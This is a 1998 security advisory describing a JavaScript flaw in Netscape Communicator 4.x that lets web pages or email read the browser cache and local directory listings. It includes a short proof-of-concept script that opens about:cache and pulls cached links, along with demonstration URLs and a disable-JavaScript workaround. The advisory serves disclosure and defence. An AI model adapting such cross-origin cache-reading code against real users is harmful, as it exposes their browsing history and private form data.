netscape.4.x-javascript.txt

`Date: Wed, 28 Oct 1998 10:22:02 PST  
From: Georgi Guninski <[email protected]>  
Subject: Javascript bug in Netscape Communicator 4.5  
  
There is a bug in Netscape Communicator 4.5, 4.07, 3.04 under Windows 95  
(probably others) which allows reading user's cache (the urls the user  
has  
visited, including the info in GET forms). Reading local directories  
content  
is also allowed. This info may be sent to an arbitrary host.  
The bug may be exploited by email.  
  
Demonstration is available at:  
Cache reading: http://www.geocities.com/ResearchTriangle/1711/b4.html  
Directory reading:  
http://www.geocities.com/ResearchTriangle/1711/b5.html  
  
The javascript code is:  
  
sl=window.open('wysiwyg://1/about:cache');  
//For Netscape 3.04 remove 'wysiwyg://1/'  
sl2=sl.window.open();  
sl2.location="javascript:function f() {s='<SCRIPT>cr=\"\t \"; x=\"Here  
are some links from your cache:\"; for(i=0;i<5;i++)  
x+=opener.document.links[i]+cr;alert(x);</'+'SCRIPT>';return s};f()";  
sl2.location.reload();  
  
Workaround: Disable Javascript.  
  
Regards,  
Georgi Guninski  
http://www.geocities.com/ResearchTriangle/1711/  
  
`